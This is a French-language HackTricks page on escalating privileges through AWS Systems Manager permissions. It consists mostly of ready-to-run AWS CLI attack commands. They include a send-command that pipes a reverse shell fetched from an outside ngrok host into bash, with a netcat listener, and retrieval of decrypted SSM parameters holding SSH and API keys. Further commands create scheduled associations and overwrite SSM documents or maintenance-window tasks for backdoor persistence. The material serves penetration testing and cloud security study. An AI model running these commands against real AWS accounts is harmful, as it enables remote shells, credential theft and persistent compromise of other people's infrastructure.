AWS - SSM Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

SSM

Pour plus d’infos sur SSM, consultez :

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Un attaquant avec la permission ssm:SendCommand peut exĂ©cuter des commandes sur des instances exĂ©cutant Amazon SSM Agent et compromettre l’IAM Role qui s’exĂ©cute Ă  l’intĂ©rieur.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Dans le cas oĂč vous utilisez cette technique pour escalader les privilĂšges Ă  l’intĂ©rieur d’une instance EC2 dĂ©jĂ  compromise, vous pourriez simplement capturer le rev shell localement avec :

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Impact potentiel : privesc direct vers les rĂŽles IAM EC2 attachĂ©s aux instances en cours d’exĂ©cution avec des SSM Agents actifs.

ssm:StartSession

Un attaquant avec la permission ssm:StartSession peut démarrer une session de type SSH dans des instances exécutant Amazon SSM Agent et compromettre le rÎle IAM qui y est exécuté.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

Afin de démarrer une session, vous devez avoir SessionManagerPlugin installé: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Impact potentiel: Privesc direct vers les rĂŽles EC2 IAM attachĂ©s aux instances en cours d’exĂ©cution avec des SSM Agents actifs.

Privesc to ECS

Lorsque les ECS tasks s’exĂ©cutent avec ExecuteCommand activĂ©, les utilisateurs disposant de suffisamment de permissions peuvent utiliser ecs execute-command pour exĂ©cuter une commande Ă  l’intĂ©rieur du container.
Selon la documentation cela est fait en crĂ©ant un canal sĂ©curisĂ© entre le device que vous utilisez pour initier la commande “exec“ et le container cible avec SSM Session Manager. (SSM Session Manager Plugin nĂ©cessaire pour que cela fonctionne)
Par consĂ©quent, les users avec ssm:StartSession pourront obtenir un shell Ă  l’intĂ©rieur des ECS tasks avec cette option activĂ©e simplement en exĂ©cutant:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Impact potentiel : privesc direct vers les rĂŽles ECS IAM attachĂ©s aux tĂąches en cours d’exĂ©cution avec ExecuteCommand activĂ©.

ssm:ResumeSession

Un attacker avec la permission ssm:ResumeSession peut redĂ©marrer une session de type SSH dans des instances exĂ©cutant Amazon SSM Agent avec un Ă©tat de session SSM disconnected et compromettre le rĂŽle IAM qui s’y exĂ©cute.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Impact potentiel : privesc direct vers les rĂŽles EC2 IAM attachĂ©s aux instances en cours d’exĂ©cution avec des SSM Agents en cours d’exĂ©cution et des sessions dĂ©connectĂ©es.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Un attacker avec les permissions mentionnées va pouvoir lister les SSM parameters et les lire en clair. Dans ces parameters, vous pouvez fréquemment trouver des informations sensibles telles que des clés SSH ou des API keys.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Impact potentiel : Trouver des informations sensibles dans les paramĂštres.

ssm:ListCommands

Un attaquant avec cette permission peut lister toutes les commands envoyées et, avec un peu de chance, y trouver des informations sensibles.

aws ssm list-commands

Impact potentiel : Trouver des informations sensibles Ă  l’intĂ©rieur des lignes de commande.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Un attacker avec ces permissions peut lister toutes les commands envoyées et lire la sortie générée, en espérant y trouver des informations sensibles.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Impact potentiel : Trouver des informations sensibles dans la sortie des lignes de commande.

Using ssm:CreateAssociation

Un attaquant disposant de la permission ssm:CreateAssociation peut crĂ©er une State Manager Association pour exĂ©cuter automatiquement des commandes sur des instances EC2 gĂ©rĂ©es par SSM. Ces associations peuvent ĂȘtre configurĂ©es pour s’exĂ©cuter Ă  intervalle fixe, ce qui les rend adaptĂ©es Ă  une persistence de type backdoor sans sessions interactives.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Cette mĂ©thode de persistence fonctionne tant que l’instance EC2 est gĂ©rĂ©e par Systems Manager, que l’agent SSM est en cours d’exĂ©cution, et que l’attaquant a la permission de crĂ©er des associations. Elle ne nĂ©cessite ni sessions interactives ni permissions explicites ssm:SendCommand. Important : le paramĂštre --schedule-expression (par ex. rate(30 minutes)) doit respecter l’intervalle minimum AWS de 30 minutes. Pour une exĂ©cution immĂ©diate ou unique, omettez entiĂšrement --schedule-expression — l’association s’exĂ©cutera une fois aprĂšs sa crĂ©ation.

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

Un attaquant disposant des permissions ssm:UpdateDocument et ssm:UpdateDocumentDefaultVersion peut escalader ses privilĂšges en modifiant des documents existants. Cela permet aussi la persistence au sein de ce document. En pratique, l’attaquant aurait Ă©galement besoin de ssm:ListDocuments pour obtenir les noms des custom documents et, s’il souhaite obfusquer sa payload dans un document existant, ssm:GetDocument serait Ă©galement nĂ©cessaire.

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

Voici un document d’exemple qui peut ĂȘtre utilisĂ© pour Ă©craser un document existant. Vous voudrez vous assurer que le type de votre document correspond au type du document cible afin d’éviter des problĂšmes d’invocation. Le document ci-dessous, par exemple, conviendra aux exemples ssm:SendCommand et ssm:CreateAssociation.

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

Un attaquant disposant des permissions ssm:RegisterTaskWithMaintenanceWindow et ssm:RegisterTargetWithMaintenanceWindow peut Ă©lever ses privilĂšges en enregistrant d’abord un nouveau target avec une maintenance window existante, puis en mettant Ă  jour en enregistrant une nouvelle task. Cela permet l’exĂ©cution sur les targets existants, mais peut aussi permettre Ă  un attaquant de compromettre des compute avec diffĂ©rents rĂŽles en enregistrant de nouveaux targets. Cela permet Ă©galement la persistence, car les tasks des maintenance windows sont exĂ©cutĂ©es Ă  un intervalle prĂ©dĂ©fini lors de la crĂ©ation de la window. En pratique, l’attaquant aurait aussi besoin de ssm:DescribeMaintenanceWindows pour obtenir les IDs des maintenance windows.

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Codebuild

Vous pouvez aussi utiliser SSM pour entrer dans un projet codebuild en cours de build :

AWS - Codebuild Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks